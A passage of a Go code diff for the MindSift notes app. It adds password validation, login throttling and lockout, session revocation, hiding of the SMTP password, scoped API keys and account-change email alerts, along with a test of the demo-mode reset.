req := httptest.NewRequest(method, path, strings.NewReader(body))
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
if token != "" {
|
||||
req.Header.Set("Authorization", "Bearer "+token)
|
||||
}
|
||||
rec := httptest.NewRecorder()
|
||||
router.ServeHTTP(rec, req)
|
||||
return rec
|
||||
}
|
||||
var login struct{ Token string }
|
||||
_ = json.Unmarshal(call("POST", "/api/v1/auth/login", "", `{"login":"admin","password":"admin"}`).Body.Bytes(), &login)
|
||||
countDocs := func() int {
|
||||
var docs []json.RawMessage
|
||||
_ = json.Unmarshal(call("GET", "/api/v1/documents", login.Token, "").Body.Bytes(), &docs)
|
||||
return len(docs)
|
||||
}
|
||||
seeded := countDocs()
|
||||
if seeded == 0 {
|
||||
t.Fatal("expected sample notes")
|
||||
}
|
||||
if rec := call("POST", "/api/v1/documents", login.Token, `{"title":"Testnotiz"}`); rec.Code >= 300 {
|
||||
t.Fatalf("create note: %d %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
// Requests running during the reset must neither fail half-way nor see missing tables
|
||||
var wg sync.WaitGroup
|
||||
failures := make(chan int, 50)
|
||||
for i := 0; i < 50; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
if rec := call("GET", "/api/v1/documents", login.Token, ""); rec.Code != http.StatusOK {
|
||||
failures <- rec.Code
|
||||
}
|
||||
}()
|
||||
}
|
||||
srv.resetDemo()
|
||||
wg.Wait()
|
||||
close(failures)
|
||||
for code := range failures {
|
||||
t.Errorf("request during reset failed with %d", code)
|
||||
}
|
||||
|
||||
if rec := call("GET", "/api/v1/auth/me", login.Token, ""); rec.Code != http.StatusOK {
|
||||
t.Fatalf("session must survive the reset, got %d", rec.Code)
|
||||
}
|
||||
if n := countDocs(); n != seeded {
|
||||
t.Errorf("reset should restore the %d sample notes, got %d", seeded, n)
|
||||
}
|
||||
|
||||
srv.setDemoNextReset(time.Now().Add(90 * time.Second))
|
||||
var st struct {
|
||||
DemoNextReset string `json:"demoNextReset"`
|
||||
DemoResetInSeconds int `json:"demoResetInSeconds"`
|
||||
}
|
||||
_ = json.Unmarshal(call("GET", "/api/v1/auth/status", "", "").Body.Bytes(), &st)
|
||||
if st.DemoNextReset == "" || st.DemoResetInSeconds < 85 || st.DemoResetInSeconds > 90 {
|
||||
t.Errorf("status should announce the next reset: %+v", st)
|
||||
}
|
||||
}
|
||||
@@ -82,15 +82,21 @@ func (s *Server) runImport(w http.ResponseWriter, r *http.Request, plan *storage
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
// sections=notes,tasks,…: only these parts of a MindSift backup (all when not given)
|
||||
sections := storage.NormalizeSections(strings.Split(r.URL.Query().Get("sections"), ","))
|
||||
plan = plan.Only(sections)
|
||||
if r.URL.Query().Get("preview") == "1" {
|
||||
writeJSON(w, http.StatusOK, plan.Summary(false))
|
||||
return
|
||||
}
|
||||
userID := auth.GetUserID(r.Context())
|
||||
// mode=restore (MindSift data only): replace everything instead of adding next to it. The plan is
|
||||
// fully read and validated at this point, so a broken file never wipes anything.
|
||||
if r.URL.Query().Get("mode") == "restore" && strings.HasSuffix(r.URL.Path, "/mindsift") {
|
||||
if err := s.store.PurgeUserData(userID); err != nil {
|
||||
s.applyImport(w, auth.GetUserID(r.Context()), plan, sections, r.URL.Query().Get("mode") == "restore" && strings.HasSuffix(r.URL.Path, "/mindsift"))
|
||||
}
|
||||
|
||||
// applyImport adds the plan to the user's data; with restore the chosen sections are emptied first.
|
||||
// The plan is fully read and validated at this point, so a broken file never wipes anything.
|
||||
func (s *Server) applyImport(w http.ResponseWriter, userID string, plan *storage.ImportPlan, sections map[string]bool, restore bool) {
|
||||
if restore {
|
||||
if err := s.store.PurgeUserSections(userID, sections); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, "Wiederherstellen abgebrochen: "+err.Error())
|
||||
return
|
||||
}
|
||||
@@ -129,6 +135,7 @@ func (s *Server) handleImportObsidian(w http.ResponseWriter, r *http.Request) {
|
||||
// handleExportMarkdown streams an Obsidian-compatible ZIP of the user's workspace (no temp files).
|
||||
func (s *Server) handleExportMarkdown(w http.ResponseWriter, r *http.Request) {
|
||||
userID := auth.GetUserID(r.Context())
|
||||
allowLongTransfer(w)
|
||||
w.Header().Set("Content-Type", "application/zip")
|
||||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="mindsift-vault-%s.zip"`, time.Now().Format("2006-01-02")))
|
||||
if err := s.store.WriteMarkdownVault(userID, w); err != nil {
|
||||
@@ -139,6 +146,7 @@ func (s *Server) handleExportMarkdown(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
func (s *Server) handleExport(w http.ResponseWriter, r *http.Request) {
|
||||
userID := auth.GetUserID(r.Context())
|
||||
allowLongTransfer(w)
|
||||
exportData, err := s.store.ExportUserData(userID)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
|
||||
@@ -111,8 +111,12 @@ func (s *Server) handleAdminCreateUser(w http.ResponseWriter, r *http.Request) {
|
||||
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
|
||||
return
|
||||
}
|
||||
if req.Email == "" || req.Password == "" {
|
||||
writeError(w, http.StatusBadRequest, "E-Mail und Passwort erforderlich")
|
||||
if req.Email == "" {
|
||||
writeError(w, http.StatusBadRequest, "E-Mail-Adresse erforderlich")
|
||||
return
|
||||
}
|
||||
if err := auth.ValidatePassword(req.Password); err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
// Only full server admin can create another server admin
|
||||
@@ -184,6 +188,9 @@ func (s *Server) handleAdminUpdateUser(w http.ResponseWriter, r *http.Request) {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
if req.IsActive != nil && !*req.IsActive {
|
||||
s.wsHub.DisconnectUser(targetUserID)
|
||||
}
|
||||
writeJSON(w, http.StatusOK, u)
|
||||
}
|
||||
|
||||
@@ -200,19 +207,25 @@ func (s *Server) handleAdminResetPassword(w http.ResponseWriter, r *http.Request
|
||||
var req struct {
|
||||
Password string `json:"password"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil || strings.TrimSpace(req.Password) == "" {
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "Neues Passwort erforderlich")
|
||||
return
|
||||
}
|
||||
if err := auth.ValidatePassword(req.Password); err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
hash, err := auth.HashPassword(req.Password)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, "Passwort-Hash fehlgeschlagen")
|
||||
return
|
||||
}
|
||||
s.loginGuard.unlockAccount(targetUserID)
|
||||
if err := s.store.UpdateUserPassword(targetUserID, hash); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
s.wsHub.DisconnectUser(targetUserID)
|
||||
writeJSON(w, http.StatusOK, map[string]bool{"success": true})
|
||||
}
|
||||
|
||||
@@ -233,6 +246,7 @@ func (s *Server) handleAdminDeleteUser(w http.ResponseWriter, r *http.Request) {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
s.removeUserBackups(targetUserID)
|
||||
writeJSON(w, http.StatusOK, map[string]bool{"deleted": true})
|
||||
}
|
||||
|
||||
@@ -289,8 +303,16 @@ func (s *Server) handleAdminGetSettings(w http.ResponseWriter, r *http.Request)
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
settings.SMTPConfiguredViaEnv = strings.TrimSpace(s.cfg.SMTPHost) != ""
|
||||
writeJSON(w, http.StatusOK, settings)
|
||||
writeJSON(w, http.StatusOK, s.settingsForBrowser(settings))
|
||||
}
|
||||
|
||||
// settingsForBrowser hides the SMTP password; the admin only sees whether one is stored.
|
||||
func (s *Server) settingsForBrowser(settings *domain.SystemSettings) *domain.SystemSettings {
|
||||
out := *settings
|
||||
out.SMTPPassSet = out.SMTPPass != ""
|
||||
out.SMTPPass = ""
|
||||
out.SMTPConfiguredViaEnv = strings.TrimSpace(s.cfg.SMTPHost) != ""
|
||||
return &out
|
||||
}
|
||||
|
||||
func (s *Server) handleAdminUpdateSettings(w http.ResponseWriter, r *http.Request) {
|
||||
@@ -299,6 +321,12 @@ func (s *Server) handleAdminUpdateSettings(w http.ResponseWriter, r *http.Reques
|
||||
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
|
||||
return
|
||||
}
|
||||
// Empty means unchanged (the browser never has it); without SMTP user the password goes too
|
||||
if settings.SMTPPass == "" && strings.TrimSpace(settings.SMTPUser) != "" {
|
||||
if cur, err := s.store.GetSystemSettings(); err == nil {
|
||||
settings.SMTPPass = cur.SMTPPass
|
||||
}
|
||||
}
|
||||
previousMode := s.store.SharingMode()
|
||||
if err := s.store.UpdateSystemSettings(&settings); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
@@ -306,10 +334,12 @@ func (s *Server) handleAdminUpdateSettings(w http.ResponseWriter, r *http.Reques
|
||||
}
|
||||
// A stricter mode takes away what is no longer allowed (shares, group memberships, assignments)
|
||||
if settings.SharingMode != previousMode {
|
||||
_, _ = s.store.PruneSharing(settings.SharingMode, false)
|
||||
if _, err := s.store.PruneSharing(settings.SharingMode, false); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, "Freigaben konnten nicht angepasst werden: "+err.Error())
|
||||
return
|
||||
}
|
||||
}
|
||||
settings.SMTPConfiguredViaEnv = strings.TrimSpace(s.cfg.SMTPHost) != ""
|
||||
writeJSON(w, http.StatusOK, settings)
|
||||
writeJSON(w, http.StatusOK, s.settingsForBrowser(&settings))
|
||||
}
|
||||
|
||||
func (s *Server) handleAdminTestSMTP(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
+149
-23
@@ -37,7 +37,7 @@ func (s *Server) handleAuthStatus(w http.ResponseWriter, r *http.Request) {
|
||||
instanceName = sys.InstanceName
|
||||
}
|
||||
}
|
||||
writeJSON(w, http.StatusOK, map[string]interface{}{
|
||||
status := map[string]interface{}{
|
||||
"needsSetup": count == 0,
|
||||
"allowRegistration": allowReg,
|
||||
"instanceName": instanceName,
|
||||
@@ -51,7 +51,14 @@ func (s *Server) handleAuthStatus(w http.ResponseWriter, r *http.Request) {
|
||||
"privacyUrl": s.cfg.Legal.PrivacyURL,
|
||||
"hasPrivacyContent": s.cfg.Legal.PrivacyContent != "",
|
||||
},
|
||||
})
|
||||
}
|
||||
// Countdown to the next demo reset; seconds as well, so client clocks do not matter
|
||||
if next := s.demoNextReset(); !next.IsZero() {
|
||||
status["demoNextReset"] = next.UTC().Format(time.RFC3339)
|
||||
status["demoResetInSeconds"] = int(time.Until(next).Seconds())
|
||||
status["demoResetMinutes"] = s.cfg.DemoResetMinutes
|
||||
}
|
||||
writeJSON(w, http.StatusOK, status)
|
||||
}
|
||||
|
||||
// handleLegalText serves the configured Markdown of the imprint or privacy notice (public, no login).
|
||||
@@ -90,8 +97,12 @@ func (s *Server) handleFirstBootSetup(w http.ResponseWriter, r *http.Request) {
|
||||
writeError(w, http.StatusBadRequest, "Ungültige Anfrage")
|
||||
return
|
||||
}
|
||||
if strings.TrimSpace(req.Email) == "" || len(req.Password) < 4 {
|
||||
writeError(w, http.StatusBadRequest, "E-Mail und Passwort (mind. 4 Zeichen) erforderlich")
|
||||
if strings.TrimSpace(req.Email) == "" {
|
||||
writeError(w, http.StatusBadRequest, "E-Mail-Adresse erforderlich")
|
||||
return
|
||||
}
|
||||
if err := auth.ValidatePassword(req.Password); err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
if strings.TrimSpace(req.DisplayName) == "" {
|
||||
@@ -117,7 +128,10 @@ func (s *Server) handleFirstBootSetup(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
sys.AllowRegistration = req.AllowRegistration
|
||||
sys.SharingMode = storage.NormalizeSharingMode(req.SharingMode)
|
||||
_ = s.store.UpdateSystemSettings(sys)
|
||||
if err := s.store.UpdateSystemSettings(sys); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, "Einstellungen konnten nicht gespeichert werden: "+err.Error())
|
||||
return
|
||||
}
|
||||
// In organization mode the first admin starts in an organization named after the instance
|
||||
if sys.SharingMode == storage.SharingOrganizations {
|
||||
if org, err := s.store.CreateOrganization(sys.InstanceName); err == nil {
|
||||
@@ -131,7 +145,7 @@ func (s *Server) handleFirstBootSetup(w http.ResponseWriter, r *http.Request) {
|
||||
_ = s.store.SeedStarterContent(user)
|
||||
}
|
||||
|
||||
token, err := auth.GenerateToken(s.cfg.JWTSecret, user.ID, user.Email, user.DisplayName, user.TokenVersion)
|
||||
token, err := s.startSession(r, user)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, "Token konnte nicht erstellt werden")
|
||||
return
|
||||
@@ -154,8 +168,16 @@ func (s *Server) handleRegister(w http.ResponseWriter, r *http.Request) {
|
||||
writeError(w, http.StatusBadRequest, "Ungültige Anfrage")
|
||||
return
|
||||
}
|
||||
if strings.TrimSpace(req.Email) == "" || len(req.Password) < 4 {
|
||||
writeError(w, http.StatusBadRequest, "E-Mail und Passwort (mind. 4 Zeichen) erforderlich")
|
||||
if wait := s.loginGuard.throttle("register", clientIPFrom(r), limitRegisterPerIP); wait > 0 {
|
||||
writeThrottled(w, wait)
|
||||
return
|
||||
}
|
||||
if strings.TrimSpace(req.Email) == "" {
|
||||
writeError(w, http.StatusBadRequest, "E-Mail-Adresse erforderlich")
|
||||
return
|
||||
}
|
||||
if err := auth.ValidatePassword(req.Password); err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
if strings.TrimSpace(req.DisplayName) == "" {
|
||||
@@ -194,21 +216,35 @@ func (s *Server) handleRegister(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
// The invite is claimed before the account exists, so it cannot be redeemed twice at once
|
||||
var claim string
|
||||
if validInvite != nil {
|
||||
if claim, err = s.store.ClaimUserInvite(validInvite.ID); err != nil {
|
||||
writeError(w, http.StatusForbidden, err.Error())
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
user, err := s.store.CreateUser(req.Email, hash, req.DisplayName, role)
|
||||
if err != nil {
|
||||
if validInvite != nil {
|
||||
s.store.ReleaseUserInvite(validInvite.ID, claim)
|
||||
}
|
||||
writeError(w, http.StatusConflict, "E-Mail-Adresse existiert bereits")
|
||||
return
|
||||
}
|
||||
|
||||
if validInvite != nil {
|
||||
_ = s.store.MarkUserInviteUsed(validInvite.ID, user.ID)
|
||||
if err := s.store.FinishUserInvite(validInvite.ID, claim, user.ID); err != nil {
|
||||
slog.Error("Einladungscode konnte nicht als benutzt markiert werden", "invite", validInvite.ID, "error", err)
|
||||
}
|
||||
if validInvite.OrganizationID != "" {
|
||||
_ = s.store.SetUserOrganization(user.ID, validInvite.OrganizationID)
|
||||
user.OrganizationID = validInvite.OrganizationID
|
||||
}
|
||||
}
|
||||
|
||||
token, err := auth.GenerateToken(s.cfg.JWTSecret, user.ID, user.Email, user.DisplayName, user.TokenVersion)
|
||||
token, err := s.startSession(r, user)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, "Token konnte nicht erstellt werden")
|
||||
return
|
||||
@@ -246,23 +282,37 @@ func (s *Server) handleLogin(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
|
||||
user, err := s.store.GetUserByLogin(identifier)
|
||||
// Unknown names are counted under the typed login, so locking looks the same as for real accounts
|
||||
account := "login:" + strings.ToLower(identifier)
|
||||
if err == nil {
|
||||
account = user.ID
|
||||
}
|
||||
ip := clientIPFrom(r)
|
||||
if wait := s.loginGuard.lockedFor(account, ip); wait > 0 {
|
||||
slog.Warn("Login gesperrt nach Fehlversuchen", "login", identifier, "remote_addr", r.RemoteAddr, "wait", wait.Round(time.Second))
|
||||
writeLoginLocked(w, wait)
|
||||
return
|
||||
}
|
||||
if err != nil {
|
||||
s.loginGuard.recordFailure(account, ip)
|
||||
slog.Warn("Login fehlgeschlagen: Benutzer existiert nicht", "login", identifier, "remote_addr", r.RemoteAddr)
|
||||
writeError(w, http.StatusUnauthorized, "Benutzername/E-Mail oder Passwort ungültig")
|
||||
return
|
||||
}
|
||||
if !auth.CheckPassword(req.Password, user.PasswordHash) {
|
||||
s.loginGuard.recordFailure(account, ip)
|
||||
slog.Warn("Login fehlgeschlagen: Falsches Passwort", "login", identifier, "user_id", user.ID, "display_name", user.DisplayName, "remote_addr", r.RemoteAddr)
|
||||
writeError(w, http.StatusUnauthorized, "Benutzername/E-Mail oder Passwort ungültig")
|
||||
return
|
||||
}
|
||||
s.loginGuard.recordSuccess(account, ip)
|
||||
if !user.IsActive {
|
||||
slog.Warn("Login verweigert: Benutzerkonto ist deaktiviert", "login", identifier, "user_id", user.ID, "display_name", user.DisplayName, "remote_addr", r.RemoteAddr)
|
||||
writeError(w, http.StatusForbidden, "Dieses Benutzerkonto ist deaktiviert")
|
||||
return
|
||||
}
|
||||
|
||||
token, err := auth.GenerateToken(s.cfg.JWTSecret, user.ID, user.Email, user.DisplayName, user.TokenVersion)
|
||||
token, err := s.startSession(r, user)
|
||||
if err != nil {
|
||||
slog.Error("Login-Token konnte nicht erstellt werden", "login", identifier, "user_id", user.ID, "error", err)
|
||||
writeError(w, http.StatusInternalServerError, "Token konnte nicht erstellt werden")
|
||||
@@ -335,12 +385,14 @@ func (s *Server) handleDeleteOwnAccount(w http.ResponseWriter, r *http.Request)
|
||||
writeError(w, status, err.Error())
|
||||
return
|
||||
}
|
||||
s.removeUserBackups(user.ID)
|
||||
slog.Info("Benutzer hat sein Konto gelöscht", "user_id", user.ID)
|
||||
writeJSON(w, http.StatusOK, map[string]bool{"deleted": true})
|
||||
}
|
||||
|
||||
// importUpload reads the multipart field "file" (max. storage.MaxImportUploadBytes).
|
||||
func importUpload(w http.ResponseWriter, r *http.Request) ([]byte, string, error) {
|
||||
allowLongTransfer(w)
|
||||
r.Body = http.MaxBytesReader(w, r.Body, storage.MaxImportUploadBytes+1<<20)
|
||||
file, header, err := r.FormFile("file")
|
||||
if err != nil {
|
||||
@@ -358,19 +410,15 @@ func importUpload(w http.ResponseWriter, r *http.Request) ([]byte, string, error
|
||||
|
||||
func (s *Server) handleLogout(w http.ResponseWriter, r *http.Request) {
|
||||
userID := auth.GetUserID(r.Context())
|
||||
authHeader := r.Header.Get("Authorization")
|
||||
if strings.HasPrefix(authHeader, "Bearer ") {
|
||||
tokenStr := strings.TrimPrefix(authHeader, "Bearer ")
|
||||
if claims, err := auth.ValidateToken(s.cfg.JWTSecret, tokenStr); err == nil && claims != nil {
|
||||
var exp time.Time
|
||||
if claims.ExpiresAt != nil {
|
||||
exp = claims.ExpiresAt.Time
|
||||
} else {
|
||||
exp = time.Now().Add(30 * 24 * time.Hour)
|
||||
}
|
||||
_ = s.store.RevokeToken(tokenStr, userID, exp)
|
||||
// The session must really end; the client is told if it did not
|
||||
if sid := sessionIDFrom(r); sid != "" {
|
||||
if err := s.store.RevokeSession(userID, sid); err != nil && !errors.Is(err, storage.ErrSessionNotFound) {
|
||||
writeError(w, http.StatusInternalServerError, "Abmelden fehlgeschlagen")
|
||||
return
|
||||
}
|
||||
}
|
||||
// Streams are not tied to one session; other devices reconnect with a new ticket on their own
|
||||
s.wsHub.DisconnectUser(userID)
|
||||
writeJSON(w, http.StatusOK, map[string]bool{"success": true})
|
||||
}
|
||||
|
||||
@@ -380,6 +428,7 @@ func (s *Server) handleRevokeAllSessions(w http.ResponseWriter, r *http.Request)
|
||||
writeError(w, http.StatusInternalServerError, "Sitzungen konnten nicht beendet werden")
|
||||
return
|
||||
}
|
||||
s.wsHub.DisconnectUser(userID)
|
||||
writeJSON(w, http.StatusOK, map[string]bool{"success": true})
|
||||
}
|
||||
|
||||
@@ -395,11 +444,27 @@ func (s *Server) handleUpdateUserSettings(w http.ResponseWriter, r *http.Request
|
||||
DiscordWebhookURL *string `json:"discordWebhookUrl"`
|
||||
CustomWebhookURL *string `json:"customWebhookUrl"`
|
||||
NotifyBeforeMinutes *int `json:"notifyBeforeMinutes"`
|
||||
// Needed to change password or e-mail address (FLAW-30)
|
||||
CurrentPassword string `json:"currentPassword"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
|
||||
return
|
||||
}
|
||||
before, err := s.store.GetUserByID(userID)
|
||||
if err != nil || before == nil {
|
||||
writeError(w, http.StatusNotFound, "Benutzer nicht gefunden")
|
||||
return
|
||||
}
|
||||
changesPassword := req.Password != nil && strings.TrimSpace(*req.Password) != ""
|
||||
changesEmail := req.Email != nil && !strings.EqualFold(strings.TrimSpace(*req.Email), before.Email)
|
||||
if (changesPassword || changesEmail) && s.cfg.DemoMode {
|
||||
writeError(w, http.StatusForbidden, "In der Demo deaktiviert")
|
||||
return
|
||||
}
|
||||
if (changesPassword || changesEmail) && !s.checkCurrentPassword(w, r, before, req.CurrentPassword) {
|
||||
return
|
||||
}
|
||||
// Alarm URLs are checked before they are stored (SSRF protection, see netguard.go)
|
||||
allowPrivate := s.allowPrivateWebhooks()
|
||||
if req.DiscordWebhookURL != nil {
|
||||
@@ -415,12 +480,31 @@ func (s *Server) handleUpdateUserSettings(w http.ResponseWriter, r *http.Request
|
||||
}
|
||||
}
|
||||
if req.Password != nil && strings.TrimSpace(*req.Password) != "" {
|
||||
if err := auth.ValidatePassword(*req.Password); err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
hash, err := auth.HashPassword(*req.Password)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, "Fehler beim Hashen des Passworts")
|
||||
return
|
||||
}
|
||||
_ = s.store.UpdateUserPassword(userID, hash)
|
||||
if err := s.store.UpdateUserPassword(userID, hash); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, "Passwort konnte nicht gespeichert werden")
|
||||
return
|
||||
}
|
||||
// Every other device is logged out; this one keeps its session with a fresh token
|
||||
sid := sessionIDFrom(r)
|
||||
if err := s.store.RevokeOtherSessions(userID, sid); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, "Andere Sitzungen konnten nicht beendet werden")
|
||||
return
|
||||
}
|
||||
s.wsHub.DisconnectUser(userID)
|
||||
if fresh, err := s.store.GetUserByID(userID); err == nil {
|
||||
current := &auth.Claims{}
|
||||
current.ID = sid
|
||||
s.renewSessionToken(w, fresh, current, true)
|
||||
}
|
||||
}
|
||||
u, err := s.store.UpdateUserFull(
|
||||
userID,
|
||||
@@ -439,9 +523,51 @@ func (s *Server) handleUpdateUserSettings(w http.ResponseWriter, r *http.Request
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
if changesPassword || changesEmail {
|
||||
s.notifyAccountChange(before, changesPassword, changesEmail, u.Email)
|
||||
}
|
||||
writeJSON(w, http.StatusOK, u)
|
||||
}
|
||||
|
||||
// checkCurrentPassword verifies the current password for sensitive changes; wrong attempts count
|
||||
// towards the login protection, so this cannot be used to guess the password.
|
||||
func (s *Server) checkCurrentPassword(w http.ResponseWriter, r *http.Request, user *domain.User, password string) bool {
|
||||
ip := clientIPFrom(r)
|
||||
if wait := s.loginGuard.lockedFor(user.ID, ip); wait > 0 {
|
||||
writeLoginLocked(w, wait)
|
||||
return false
|
||||
}
|
||||
// A forgotten field is no guess and does not count as a failure
|
||||
if password == "" || !auth.CheckPassword(password, user.PasswordHash) {
|
||||
if password != "" {
|
||||
s.loginGuard.recordFailure(user.ID, ip)
|
||||
}
|
||||
writeError(w, http.StatusForbidden, "Bitte gib zur Bestätigung dein aktuelles Passwort richtig ein")
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// notifyAccountChange tells the previous address about a new password or e-mail address, so a
|
||||
// takeover does not go unnoticed. Only when mail is set up; errors are logged, never shown.
|
||||
func (s *Server) notifyAccountChange(before *domain.User, password, email bool, newEmail string) {
|
||||
if _, err := s.smtpSettings(); err != nil || before.Email == "" {
|
||||
return
|
||||
}
|
||||
var what []string
|
||||
if password {
|
||||
what = append(what, "dein Passwort wurde geändert")
|
||||
}
|
||||
if email {
|
||||
what = append(what, "die E-Mail-Adresse deines Kontos wurde auf "+newEmail+" geändert")
|
||||
}
|
||||
body := fmt.Sprintf("Hallo %s,\n\nin MindSift %s.\n\nWarst du das nicht, setze bitte sofort dein Passwort zurück und beende alle Sitzungen in den Kontoeinstellungen, oder wende dich an die Administration.\n",
|
||||
before.DisplayName, strings.Join(what, " und "))
|
||||
go func() {
|
||||
_ = s.sendEmailNotification(before.Email, "MindSift: Änderung an deinem Konto", body)
|
||||
}()
|
||||
}
|
||||
|
||||
func (s *Server) handleTestUserAlarm(w http.ResponseWriter, r *http.Request) {
|
||||
userID := auth.GetUserID(r.Context())
|
||||
user, err := s.store.GetUserByID(userID)
|
||||
|
||||
@@ -1,7 +1,9 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
@@ -9,6 +11,7 @@ import (
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
"github.com/sandrodach/mindsift/internal/auth"
|
||||
"github.com/sandrodach/mindsift/internal/storage"
|
||||
)
|
||||
|
||||
// --- API KEYS & WEBHOOK INGESTION ---
|
||||
@@ -26,11 +29,12 @@ func (s *Server) handleGetAPIKeys(w http.ResponseWriter, r *http.Request) {
|
||||
func (s *Server) handleCreateAPIKey(w http.ResponseWriter, r *http.Request) {
|
||||
userID := auth.GetUserID(r.Context())
|
||||
var req struct {
|
||||
Name string `json:"name"`
|
||||
Name string `json:"name"`
|
||||
Scopes []string `json:"scopes"`
|
||||
}
|
||||
_ = json.NewDecoder(r.Body).Decode(&req)
|
||||
|
||||
key, err := s.store.CreateAPIKey(userID, req.Name)
|
||||
key, err := s.store.CreateAPIKey(userID, req.Name, req.Scopes)
|
||||
if err != nil {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
@@ -50,7 +54,13 @@ func (s *Server) handleDeleteAPIKey(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
// handleWebhookIngest accepts Smarthome / External automation webhooks via ?token=... or X-API-Key or Bearer token
|
||||
func (s *Server) handleWebhookIngest(w http.ResponseWriter, r *http.Request) {
|
||||
// In the URL only API keys are taken (devices that cannot set headers); a session token there would
|
||||
// end up in proxy logs as a full login (FLAW-35)
|
||||
token := r.URL.Query().Get("token")
|
||||
if token != "" && !strings.HasPrefix(token, "mindsift_sec_") {
|
||||
writeError(w, http.StatusUnauthorized, "In der URL sind nur API-Keys erlaubt; Sitzungs-Tokens gehören in den Authorization-Header")
|
||||
return
|
||||
}
|
||||
if token == "" {
|
||||
token = r.Header.Get("X-API-Key")
|
||||
}
|
||||
@@ -59,11 +69,14 @@ func (s *Server) handleWebhookIngest(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
|
||||
// Same checks as every other request (revoked/outdated sessions, inactive accounts)
|
||||
user, _ := s.authenticateToken(token)
|
||||
user, keyScopes := s.authenticateToken(token)
|
||||
if user == nil {
|
||||
writeError(w, http.StatusUnauthorized, "Ungültiger Webhook-Token oder API-Key")
|
||||
return
|
||||
}
|
||||
if keyScopes != nil {
|
||||
r = r.WithContext(context.WithValue(r.Context(), apiKeyScopesKey{}, keyScopes))
|
||||
}
|
||||
|
||||
var req struct {
|
||||
Title string `json:"title"`
|
||||
@@ -75,6 +88,13 @@ func (s *Server) handleWebhookIngest(w http.ResponseWriter, r *http.Request) {
|
||||
Tags []string `json:"tags"`
|
||||
DueDate string `json:"dueDate"`
|
||||
DueDate2 string `json:"due_date"`
|
||||
// Where it goes: "triage" (default, inbox), "task" or "list_item"; "type" is accepted as well
|
||||
Target string `json:"target"`
|
||||
Type string `json:"type"`
|
||||
TaskListID string `json:"taskListId"`
|
||||
ListID string `json:"listId"`
|
||||
Category string `json:"category"`
|
||||
Quantity string `json:"quantity"`
|
||||
}
|
||||
|
||||
bodyBytes, _ := io.ReadAll(r.Body)
|
||||
@@ -120,8 +140,20 @@ func (s *Server) handleWebhookIngest(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
}
|
||||
|
||||
if req.Priority == "" {
|
||||
req.Priority = "high"
|
||||
target := strings.ToLower(strings.TrimSpace(req.Target))
|
||||
if target == "" {
|
||||
target = strings.ToLower(strings.TrimSpace(req.Type))
|
||||
}
|
||||
switch target {
|
||||
case "", "triage", "inbox":
|
||||
target = "triage"
|
||||
case "task", "list_item":
|
||||
default:
|
||||
writeError(w, http.StatusBadRequest, "Unbekanntes Ziel – erlaubt: triage, task, list_item")
|
||||
return
|
||||
}
|
||||
if !requireDeliveryScope(w, r, target) {
|
||||
return
|
||||
}
|
||||
|
||||
source := strings.ToLower(strings.TrimSpace(req.Source))
|
||||
@@ -129,6 +161,18 @@ func (s *Server) handleWebhookIngest(w http.ResponseWriter, r *http.Request) {
|
||||
source = "webhook"
|
||||
}
|
||||
|
||||
if target == "list_item" {
|
||||
s.ingestListItem(w, user.ID, req.ListID, bodyText, req.Category, req.Quantity)
|
||||
return
|
||||
}
|
||||
if target == "task" {
|
||||
s.ingestTask(w, user.ID, bodyText, req.Priority, source, dueDate, req.TaskListID)
|
||||
return
|
